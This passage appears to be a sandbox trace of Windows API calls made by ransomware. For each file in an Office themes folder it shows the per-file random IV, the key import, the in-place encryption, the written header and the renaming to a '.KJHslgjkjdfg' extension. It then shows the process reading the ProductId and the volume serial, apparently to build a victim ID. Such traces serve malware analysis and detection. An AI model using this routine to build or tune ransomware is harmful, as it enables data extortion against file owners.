out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x8a1, lpOverlapped=0x0) returned 1 [0178.240] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x8b0, dwBufLen=0x8b0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x8b0) returned 1 [0178.241] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.241] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x8b0, lpOverlapped=0x0) returned 1 [0178.241] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.241] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.241] SetEndOfFile (hFile=0x12c) returned 1 [0178.243] GetProcessHeap () returned 0x990000 [0178.244] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.244] GetProcessHeap () returned 0x990000 [0178.244] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.244] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.kjhslgjkjdfg")) returned 1 [0178.244] CloseHandle (hObject=0x12c) returned 1 [0178.246] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SONORA.ELM", cAlternateFileName="")) returned 1 [0178.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.249] GetProcessHeap () returned 0x990000 [0178.249] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.249] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.249] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.249] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x1, lpOverlapped=0x0) returned 1 [0178.251] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.251] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.251] GetProcessHeap () returned 0x990000 [0178.251] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0178.251] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0178.251] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.251] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0178.251] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.252] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.252] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.252] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.252] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.252] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.252] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.252] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.252] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd59f, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xd59f, lpOverlapped=0x0) returned 1 [0178.254] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xd5a0, dwBufLen=0xd5a0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xd5a0) returned 1 [0178.254] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.254] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd5a0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xd5a0, lpOverlapped=0x0) returned 1 [0178.255] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.255] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xd664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.255] SetEndOfFile (hFile=0x12c) returned 1 [0178.258] GetProcessHeap () returned 0x990000 [0178.258] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0178.258] GetProcessHeap () returned 0x990000 [0178.258] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.258] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm.kjhslgjkjdfg")) returned 1 [0178.260] CloseHandle (hObject=0x12c) returned 1 [0178.260] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SONORA.INF", cAlternateFileName="")) returned 1 [0178.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.260] GetProcessHeap () returned 0x990000 [0178.260] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.260] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.261] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.261] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xc, lpOverlapped=0x0) returned 1 [0178.262] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.262] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.262] GetProcessHeap () returned 0x990000 [0178.262] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0178.263] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0178.263] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.263] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0178.263] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.263] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.263] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.263] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.263] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.263] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.263] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.263] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.263] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1e4, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1e4, lpOverlapped=0x0) returned 1 [0178.264] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1f0) returned 1 [0178.264] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.264] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1f0, lpOverlapped=0x0) returned 1 [0178.264] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.264] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.264] SetEndOfFile (hFile=0x12c) returned 1 [0178.267] GetProcessHeap () returned 0x990000 [0178.267] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0178.267] GetProcessHeap () returned 0x990000 [0178.267] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.267] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf.kjhslgjkjdfg")) returned 1 [0178.272] CloseHandle (hObject=0x12c) returned 1 [0178.272] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0178.272] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.273] GetProcessHeap () returned 0x990000 [0178.273] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.273] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.273] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.273] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xc, lpOverlapped=0x0) returned 1 [0178.276] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.276] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.276] GetProcessHeap () returned 0x990000 [0178.276] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.276] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.276] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.276] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.276] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.276] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.276] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.276] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.276] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.276] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.277] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.277] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.277] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5534, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x5534, lpOverlapped=0x0) returned 1 [0178.278] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x5540, dwBufLen=0x5540 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x5540) returned 1 [0178.278] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.278] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5540, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x5540, lpOverlapped=0x0) returned 1 [0178.278] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.278] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x5614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.278] SetEndOfFile (hFile=0x12c) returned 1 [0178.281] GetProcessHeap () returned 0x990000 [0178.281] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.282] GetProcessHeap () returned 0x990000 [0178.282] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.282] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0178.288] CloseHandle (hObject=0x12c) returned 1 [0178.288] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0178.288] GetProcessHeap () returned 0x990000 [0178.288] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.288] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.288] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0178.288] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.288] GetProcessHeap () returned 0x990000 [0178.288] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0178.288] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.288] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0178.289] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.289] GetProcessHeap () returned 0x990000 [0178.289] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fd9f0 [0178.289] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.289] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fd9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fd9f0, pdwDataLen=0x29dee20) returned 1 [0178.289] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.289] GetProcessHeap () returned 0x990000 [0178.289] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0178.289] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.289] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0178.289] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.289] GetProcessHeap () returned 0x990000 [0178.289] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.289] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.289] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0178.289] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.289] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0178.289] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0178.289] RegCloseKey (hKey=0x12c) returned 0x0 [0178.290] GetProcessHeap () returned 0x990000 [0178.290] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0178.290] GetProcessHeap () returned 0x990000 [0178.290] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.290] GetProcessHeap () returned 0x990000 [0178.290] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.290] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.290] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0178.290] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.290] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0178.290] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0178.290] GetProcessHeap () returned 0x990000 [0178.290] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.290] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 